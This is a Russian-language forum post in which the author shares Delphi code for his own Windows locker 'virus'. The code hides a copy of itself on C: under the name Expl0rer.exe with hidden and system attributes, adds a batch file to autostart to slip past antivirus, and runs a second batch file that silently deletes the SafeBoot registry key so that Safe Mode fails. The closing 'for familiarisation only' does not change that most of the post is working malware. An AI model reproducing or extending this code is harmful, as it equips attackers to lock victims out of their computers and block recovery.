Клаву вообще лучше полность лочить.Ввод с помощью кнопок интерфейса.А безопасный режим убрать способ стопудово имеется.Только не у всех он катит почему-то.На HPC,один чел собрал.На виртуальной семёрке протестил,при входе в безопасный появляется BSOD и он это всё заснял на видео весь процесс,чтоб не тупили в комментариях недоброжелатели...
И опять же..у кого-то работает,а у кого -то нет.Загадка..ёпт:)
Немного времени появилось, модифицировал вирус:
1)Для скрытия вирус кладёт себя на диск С, да не просто, а скрывает себя, вот строчки кода:
PathFile := 'C:\Expl0rer.exe';
flag:=0;
CopyFile(PChar(ParamStr(0)), PChar(PathFile), True);
FileSetAttr(PathFile, faHidden or faSysFile);
2)Для запуска себя, вирус создаёт специальный батник, вот код создания батника:
AssignFile(f, 'C:\Expl0rer.bat');
Rewrite(f);
Writeln(f, '@echo off');
Writeln(f, 'Title Expl0rer');
Writeln(f, 'start C:\Expl0rer.exe');
Flush(f);
CloseFile(f);
Этот-же батник я добавил в автозагрузку, это тоже для скрытия и обхода антивирусов.
3)С безопасным режимом, вот что происходит, по умолчанию винда запрашивает подтверждение действия, на удаления этих строк, что-то долго не мог обойти, но всё-же решил проблему, для этого вирус создаст, ещё один батник и автоматически запустит его:
AssignFile(f, 'C:\Expl0rer2.bat');
Rewrite(f);
Writeln(f,'@ECHO OFF');
Writeln(f, 'ECHO Rebooting into Safe Mode');
Writeln(f,'echo Y|Reg delete "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot\" /f');
Writeln(f,'cmd.exe');
Flush(f);
CloseFile(f);
Строка, как-раз и удаляет нужную ветку:echo Y|Reg delete "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot\" /f
А обошёл подтверждение я, так называемым перенапровлением запроса:
echo Y|
Ну и запуск батника из нашей проги:
ShellExecute(Form1.Handle, 'open', 'C:\Expl0rer2.bat',nil, nil, SW_SHOWNORMAL)
Вроде работает, пароль:111
ДЛЯ ОЗНАКОМЛЕНИЯ !!!